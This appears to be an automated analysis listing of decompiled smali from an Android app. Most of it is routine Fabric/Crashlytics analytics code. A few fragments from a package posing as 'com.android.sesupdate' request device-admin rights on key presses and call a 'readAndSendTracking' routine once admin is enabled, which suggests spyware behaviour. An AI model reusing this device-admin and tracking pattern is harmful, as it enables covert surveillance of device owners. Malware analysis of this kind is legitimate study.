                          2sget-object v0, Lio/fabric/sdk/android/Fabric;->singleton:Lio/fabric/sdk/android/Fabric;
                          3if-eqz v0, :cond_10
                          5sget-object v0, Lio/fabric/sdk/android/Fabric;->singleton:Lio/fabric/sdk/android/Fabric;
                          7iget-object v0, v0, Lio/fabric/sdk/android/Fabric;->initialized:Ljava/util/concurrent/atomic/AtomicBoolean;
                          9invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicBoolean;->get()Z
                          10move-result v0
                          11if-eqz v0, :cond_10
                          12const/4 v0, 0x1
                          13goto_f: return v0
                          14cond_10: const/4 v0, 0x0
                          15goto/16 :goto_f
                          Cross References
                          APIs
                          • java.util.Map.values
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"()",
                          3"Ljava/util/Collection",
                          4"<",
                          5"Lio/fabric/sdk/android/Kit;",
                          6">;"
                          7}
                          8.end annotation
                          9.prologue
                          11iget-object v0, p0, Lio/fabric/sdk/android/Fabric;->kits:Ljava/util/Map;
                          13invoke-interface {v0}, Ljava/util/Map;->values()Ljava/util/Collection;
                          14move-result-object v0
                          15return-object v0
                          Cross References
                          APIs
                          • java.util.Map.put
                          Position Instruction Meta Information
                          0.param p1, "key" # Ljava/lang/String;
                          1.param p2, "value" # Ljava/lang/Object;
                          2.prologue
                          4iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          6iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->attributes:Ljava/util/Map;
                          8invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isFullMap(Ljava/util/Map;Ljava/lang/String;)Z
                          9move-result v0
                          10if-nez v0, :cond_f
                          12iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->attributes:Ljava/util/Map;
                          14invoke-interface {v0, p1, p2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                          15cond_f: return-void
                          Cross References
                          APIs
                          • java.util.Random.nextDouble
                          Position Instruction Meta Information
                          0.prologue
                          1const-wide/high16 v8, 0x3ff0000000000000L # 1.0
                          2iget-wide v6, p0, Lcom/crashlytics/android/answers/RandomBackoff;->jitterPercent:D
                          3sub-double v2, v8, v6
                          4iget-wide v6, p0, Lcom/crashlytics/android/answers/RandomBackoff;->jitterPercent:D
                          5add-double v0, v8, v6
                          7iget-object v6, p0, Lcom/crashlytics/android/answers/RandomBackoff;->random:Ljava/util/Random;
                          9invoke-virtual {v6}, Ljava/util/Random;->nextDouble()D
                          10move-result-wide v4
                          11sub-double v6, v0, v2
                          12mul-double/2addr v6, v4
                          13add-double/2addr v6, v2
                          14return-wide v6
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "eventsHandler" # Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          1.param p2, "lifecycleManager" # Lio/fabric/sdk/android/ActivityLifecycleManager;
                          2.param p3, "backgroundManager" # Lcom/crashlytics/android/answers/BackgroundManager;
                          3.param p4, "preferenceManager" # Lcom/crashlytics/android/answers/AnswersPreferenceManager;
                          4.param p5, "installedAt" # J
                          5.prologue
                          7invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          8iput-object p1, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          9iput-object p2, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->lifecycleManager:Lio/fabric/sdk/android/ActivityLifecycleManager;
                          10iput-object p3, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->backgroundManager:Lcom/crashlytics/android/answers/BackgroundManager;
                          11iput-object p4, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->preferenceManager:Lcom/crashlytics/android/answers/AnswersPreferenceManager;
                          12iput-wide p5, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->installedAt:J
                          13return-void
                          Cross References
                          APIs
                          • android.util.Log.println
                          Position Instruction Meta Information
                          0.param p1, "priority" # I
                          1.param p2, "tag" # Ljava/lang/String;
                          2.param p3, "msg" # Ljava/lang/String;
                          3.param p4, "forceLog" # Z
                          4.prologue
                          5if-nez p4, :cond_8
                          7invoke-virtual {p0, p2, p1}, Lio/fabric/sdk/android/DefaultLogger;->isLoggable(Ljava/lang/String;I)Z
                          8move-result v0
                          9if-eqz v0, :cond_b
                          10cond_8:
                          11invoke-static {p1, p2, p3}, Landroid/util/Log;->println(ILjava/lang/String;Ljava/lang/String;)I
                          12cond_b: return-void
                          Cross References
                          APIs
                          • java.lang.ref.WeakReference.get
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lio/fabric/sdk/android/Fabric;->activity:Ljava/lang/ref/WeakReference;
                          3if-eqz v0, :cond_d
                          5iget-object v0, p0, Lio/fabric/sdk/android/Fabric;->activity:Ljava/lang/ref/WeakReference;
                          7invoke-virtual {v0}, Ljava/lang/ref/WeakReference;->get()Ljava/lang/Object;
                          8move-result-object v0
                          9check-cast v0, Landroid/app/Activity;
                          10goto_c: return-object v0
                          11cond_d: const/4 v0, 0x0
                          12goto/16 :goto_c
                          APIs
                          • java.util.concurrent.atomic.AtomicReference.set
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/crashlytics/android/answers/BackgroundManager$1;->this$0:Lcom/crashlytics/android/answers/BackgroundManager;
                          4iget-object v0, v0, Lcom/crashlytics/android/answers/BackgroundManager;->backgroundFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          5const/4 v1, 0x0
                          7invoke-virtual {v0, v1}, Ljava/util/concurrent/atomic/AtomicReference;->set(Ljava/lang/Object;)V
                          9iget-object v0, p0, Lcom/crashlytics/android/answers/BackgroundManager$1;->this$0:Lcom/crashlytics/android/answers/BackgroundManager;
                          11invoke-static {v0}, Lcom/crashlytics/android/answers/BackgroundManager;->access$000(Lcom/crashlytics/android/answers/BackgroundManager;)V
                          12return-void
                          Cross References
                          APIs
                          • android.util.Log.d
                          Position Instruction Meta Information
                          0.param p1, "tag" # Ljava/lang/String;
                          1.param p2, "text" # Ljava/lang/String;
                          2.param p3, "throwable" # Ljava/lang/Throwable;
                          3.prologue
                          4const/4 v0, 0x3
                          6invoke-virtual {p0, p1, v0}, Lio/fabric/sdk/android/DefaultLogger;->isLoggable(Ljava/lang/String;I)Z
                          7move-result v0
                          8if-eqz v0, :cond_a
                          10invoke-static {p1, p2, p3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                          11cond_a: return-void
                          Cross References
                          APIs
                          • android.util.Log.e
                          Position Instruction Meta Information
                          0.param p1, "tag" # Ljava/lang/String;
                          1.param p2, "text" # Ljava/lang/String;
                          2.param p3, "throwable" # Ljava/lang/Throwable;
                          3.prologue
                          4const/4 v0, 0x6
                          6invoke-virtual {p0, p1, v0}, Lio/fabric/sdk/android/DefaultLogger;->isLoggable(Ljava/lang/String;I)Z
                          7move-result v0
                          8if-eqz v0, :cond_a
                          10invoke-static {p1, p2, p3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                          11cond_a: return-void
                          Cross References
                          APIs
                          • android.util.Log.i
                          Position Instruction Meta Information
                          0.param p1, "tag" # Ljava/lang/String;
                          1.param p2, "text" # Ljava/lang/String;
                          2.param p3, "throwable" # Ljava/lang/Throwable;
                          3.prologue
                          4const/4 v0, 0x4
                          6invoke-virtual {p0, p1, v0}, Lio/fabric/sdk/android/DefaultLogger;->isLoggable(Ljava/lang/String;I)Z
                          7move-result v0
                          8if-eqz v0, :cond_a
                          10invoke-static {p1, p2, p3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                          11cond_a: return-void
                          Cross References
                          APIs
                          • android.util.Log.v
                          Position Instruction Meta Information
                          0.param p1, "tag" # Ljava/lang/String;
                          1.param p2, "text" # Ljava/lang/String;
                          2.param p3, "throwable" # Ljava/lang/Throwable;
                          3.prologue
                          4const/4 v0, 0x2
                          6invoke-virtual {p0, p1, v0}, Lio/fabric/sdk/android/DefaultLogger;->isLoggable(Ljava/lang/String;I)Z
                          7move-result v0
                          8if-eqz v0, :cond_a
                          10invoke-static {p1, p2, p3}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                          11cond_a: return-void
                          Cross References
                          APIs
                          • android.util.Log.w
                          Position Instruction Meta Information
                          0.param p1, "tag" # Ljava/lang/String;
                          1.param p2, "text" # Ljava/lang/String;
                          2.param p3, "throwable" # Ljava/lang/Throwable;
                          3.prologue
                          4const/4 v0, 0x5
                          6invoke-virtual {p0, p1, v0}, Lio/fabric/sdk/android/DefaultLogger;->isLoggable(Ljava/lang/String;I)Z
                          7move-result v0
                          8if-eqz v0, :cond_a
                          10invoke-static {p1, p2, p3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                          11cond_a: return-void
                          Cross References
                          APIs
                          • java.util.zip.ZipFile.<init>
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Throws;
                          1value = {
                          2Ljava/io/IOException;
                          3}
                          4.end annotation
                          5.prologue
                          6new-instance v0, Ljava/util/zip/ZipFile;
                          8iget-object v1, p0, Lio/fabric/sdk/android/FabricKitsFinder;->apkFileName:Ljava/lang/String;
                          10invoke-direct {v0, v1}, Ljava/util/zip/ZipFile;-><init>(Ljava/lang/String;)V
                          11return-object v0
                          APIs
                          • android.app.admin.DeviceAdminReceiver.onEnabled
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "intent" # Landroid/content/Intent;
                          2.prologue
                          4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
                          6invoke-static {}, Lcom/android/sesupdate/ApkUtils;->getInstance()Lcom/android/sesupdate/ApkUtils;
                          7move-result-object v0
                          9invoke-virtual {v0, p1}, Lcom/android/sesupdate/ApkUtils;->readAndSendTracking(Landroid/content/Context;)V
                          10return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "identifier" # Ljava/lang/String;
                          1.param p2, "version" # Ljava/lang/String;
                          2.param p3, "buildType" # Ljava/lang/String;
                          3.prologue
                          5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          6iput-object p1, p0, Lio/fabric/sdk/android/KitInfo;->identifier:Ljava/lang/String;
                          7iput-object p2, p0, Lio/fabric/sdk/android/KitInfo;->version:Ljava/lang/String;
                          8iput-object p3, p0, Lio/fabric/sdk/android/KitInfo;->buildType:Ljava/lang/String;
                          9return-void
                          Cross References
                          Strings
                          • com.crashlytics.ApiEndpoint
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getContext()Landroid/content/Context;
                          3move-result-object v0
                          5const-string v1, "com.crashlytics.ApiEndpoint"
                          7invoke-static {v0, v1}, Lio/fabric/sdk/android/services/common/CommonUtils;->getStringsFileValue(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                          8move-result-object v0
                          9return-object v0
                          Cross References
                          Strings
                          • com.crashlytics.ApiEndpoint
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-virtual {p0}, Lcom/crashlytics/android/answers/Answers;->getContext()Landroid/content/Context;
                          3move-result-object v0
                          5const-string v1, "com.crashlytics.ApiEndpoint"
                          7invoke-static {v0, v1}, Lio/fabric/sdk/android/services/common/CommonUtils;->getStringsFileValue(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                          8move-result-object v0
                          9return-object v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "maxNumAttributes" # I
                          1.param p2, "maxStringLength" # I
                          2.param p3, "failFast" # Z
                          3.prologue
                          5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          6iput p1, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->maxNumAttributes:I
                          7iput p2, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->maxStringLength:I
                          8iput-boolean p3, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->failFast:Z
                          9return-void
                          Cross References
                          APIs
                          • android.content.ContextWrapper.<init>
                          Position Instruction Meta Information
                          0.param p1, "base" # Landroid/content/Context;
                          1.param p2, "componentName" # Ljava/lang/String;
                          2.param p3, "componentPath" # Ljava/lang/String;
                          3.prologue
                          5invoke-direct {p0, p1}, Landroid/content/ContextWrapper;-><init>(Landroid/content/Context;)V
                          6iput-object p2, p0, Lio/fabric/sdk/android/FabricContext;->componentName:Ljava/lang/String;
                          7iput-object p3, p0, Lio/fabric/sdk/android/FabricContext;->componentPath:Ljava/lang/String;
                          8return-void
                          Strings
                          • itemId
                          Position Instruction Meta Information
                          0.param p1, "itemId" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/AddToCartEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "itemId"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • itemName
                          Position Instruction Meta Information
                          0.param p1, "itemName" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/AddToCartEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "itemName"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • itemType
                          Position Instruction Meta Information
                          0.param p1, "itemType" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/AddToCartEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "itemType"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • contentId
                          Position Instruction Meta Information
                          0.param p1, "contentId" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/ContentViewEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "contentId"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • contentName
                          Position Instruction Meta Information
                          0.param p1, "contentName" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/ContentViewEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "contentName"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • contentType
                          Position Instruction Meta Information
                          0.param p1, "contentType" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/ContentViewEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "contentType"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Cross References
                          APIs
                          • android.os.Bundle.putString
                          Position Instruction Meta Information
                          0.param p1, "bundle" # Landroid/os/Bundle;
                          1.param p2, "param" # Ljava/lang/String;
                          2.param p3, "stringValue" # Ljava/lang/String;
                          3.prologue
                          4if-nez p3, :cond_3
                          5goto_2: return-void
                          6cond_3:
                          7invoke-virtual {p1, p2, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                          8goto/16 :goto_2
                          Strings
                          • method
                          Position Instruction Meta Information
                          0.param p1, "inviteMethod" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/InviteEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "method"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • levelName
                          Position Instruction Meta Information
                          0.param p1, "levelName" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/LevelEndEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "levelName"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • score
                          Position Instruction Meta Information
                          0.param p1, "score" # Ljava/lang/Number;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/LevelEndEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "score"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/Number;)V
                          8return-object p0
                          Strings
                          • levelName
                          Position Instruction Meta Information
                          0.param p1, "levelName" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/LevelStartEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "levelName"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • method
                          Position Instruction Meta Information
                          0.param p1, "loginMethod" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/LoginEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "method"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • itemId
                          Position Instruction Meta Information
                          0.param p1, "itemId" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "itemId"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • itemName
                          Position Instruction Meta Information
                          0.param p1, "itemName" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "itemName"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • itemType
                          Position Instruction Meta Information
                          0.param p1, "itemType" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "itemType"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Cross References
                          APIs
                          • java.util.Random.<init>
                          Position Instruction Meta Information
                          0.param p1, "backoff" # Lio/fabric/sdk/android/services/concurrency/internal/Backoff;
                          1.param p2, "jitterPercent" # D
                          2.prologue
                          3new-instance v0, Ljava/util/Random;
                          5invoke-direct {v0}, Ljava/util/Random;-><init>()V
                          7invoke-direct {p0, p1, p2, p3, v0}, Lcom/crashlytics/android/answers/RandomBackoff;-><init>(Lio/fabric/sdk/android/services/concurrency/internal/Backoff;DLjava/util/Random;)V
                          8return-void
                          Strings
                          • contentId
                          Position Instruction Meta Information
                          0.param p1, "contentId" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/RatingEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "contentId"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • contentName
                          Position Instruction Meta Information
                          0.param p1, "contentName" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/RatingEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "contentName"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • contentType
                          Position Instruction Meta Information
                          0.param p1, "contentType" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/RatingEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "contentType"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Strings
                          • query
                          Position Instruction Meta Information
                          0.param p1, "query" # Ljava/lang/String;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/SearchEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "query"
                          7invoke-virtual {v0, v1, p1}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          8return-object p0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          1.prologue
                          2iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$1;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          3iput-object p2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$1;->val$analyticsSettingsData:Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;
                          4iput-object p3, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$1;->val$protocolAndHostOverride:Ljava/lang/String;
                          6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          7return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          1.prologue
                          2iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$6;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          3iput-object p2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$6;->val$eventBuilder:Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          4iput-boolean p3, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$6;->val$flush:Z
                          6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          7return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "fileStore" # Lio/fabric/sdk/android/services/persistence/FileStore;
                          2.prologue
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;->context:Landroid/content/Context;
                          6iput-object p2, p0, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;->fileStore:Lio/fabric/sdk/android/services/persistence/FileStore;
                          7return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "filesSender" # Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;
                          1.param p2, "retryManager" # Lcom/crashlytics/android/answers/RetryManager;
                          2.prologue
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5iput-object p1, p0, Lcom/crashlytics/android/answers/AnswersRetryFilesSender;->filesSender:Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;
                          6iput-object p2, p0, Lcom/crashlytics/android/answers/AnswersRetryFilesSender;->retryManager:Lcom/crashlytics/android/answers/RetryManager;
                          7return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "logEventInstance" # Ljava/lang/Object;
                          1.param p2, "logEventMethod" # Ljava/lang/reflect/Method;
                          2.prologue
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5iput-object p1, p0, Lcom/crashlytics/android/answers/AppMeasurementEventLogger;->logEventInstance:Ljava/lang/Object;
                          6iput-object p2, p0, Lcom/crashlytics/android/answers/AppMeasurementEventLogger;->logEventMethod:Ljava/lang/reflect/Method;
                          7return-void
                          Strings
                          • fab
                          Position Instruction Meta Information
                          0.param p1, "eventName" # Ljava/lang/String;
                          1.param p2, "metadata" # Landroid/os/Bundle;
                          2.prologue
                          4const-string v0, "fab"
                          6invoke-virtual {p0, v0, p1, p2}, Lcom/crashlytics/android/answers/AppMeasurementEventLogger;->logEvent(Ljava/lang/String;Ljava/lang/String;Landroid/os/Bundle;)V
                          7return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.param p2, "eventMapper" # Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;
                          2.prologue
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5iput-object p1, p0, Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;->context:Landroid/content/Context;
                          6iput-object p2, p0, Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;->eventMapper:Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;
                          7return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "eventName" # Ljava/lang/String;
                          1.param p2, "eventParams" # Landroid/os/Bundle;
                          2.prologue
                          4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          5iput-object p1, p0, Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;->eventName:Ljava/lang/String;
                          6iput-object p2, p0, Lcom/crashlytics/android/answers/FirebaseAnalyticsEvent;->eventParams:Landroid/os/Bundle;
                          7return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$1" # Lcom/android/sesupdate/receivers/DeviceAdmin$1;
                          1.prologue
                          2iput-object p1, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1$1;->this$1:Lcom/android/sesupdate/receivers/DeviceAdmin$1;
                          3iput-object p2, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1$1;->val$dpm:Landroid/app/admin/DevicePolicyManager;
                          5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          6return-void
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lcom/android/sesupdate/receivers/DeviceAdmin;
                          1.prologue
                          2iput-object p1, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1;->this$0:Lcom/android/sesupdate/receivers/DeviceAdmin;
                          3iput-object p2, p0, Lcom/android/sesupdate/receivers/DeviceAdmin$1;->val$context:Landroid/content/Context;
                          5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          6return-void
                          APIs
                          • com.android.sesupdate.MainActivity.requestDeviceAdmin
                          Position Instruction Meta Information
                          0.param p1, "keyCode" # I
                          1.param p2, "event" # Landroid/view/KeyEvent;
                          2.prologue
                          4invoke-virtual {p0}, Lcom/android/sesupdate/MainActivity;->requestDeviceAdmin()V
                          5const/4 v0, 0x0
                          6return v0
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          Position Instruction Meta Information
                          0.param p1, "this$0" # Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;
                          1.prologue
                          2iput-object p1, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper$1;->this$0:Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;
                          3iput-object p2, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper$1;->val$callbacks:Lio/fabric/sdk/android/ActivityLifecycleManager$Callbacks;
                          5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          6return-void
                          Cross References
                          APIs
                          • java.lang.ref.WeakReference.<init>
                          Position Instruction Meta Information
                          0.param p1, "activity" # Landroid/app/Activity;
                          1.prologue
                          2new-instance v0, Ljava/lang/ref/WeakReference;
                          4invoke-direct {v0, p1}, Ljava/lang/ref/WeakReference;-><init>(Ljava/lang/Object;)V
                          5iput-object v0, p0, Lio/fabric/sdk/android/Fabric;->activity:Ljava/lang/ref/WeakReference;
                          6return-object p0
                          APIs
                          • java.math.BigDecimal.valueOf
                          Position Instruction Meta Information
                          0.prologue
                          1const-wide/32 v0, 0xf4240
                          3invoke-static {v0, v1}, Ljava/math/BigDecimal;->valueOf(J)Ljava/math/BigDecimal;
                          4move-result-object v0
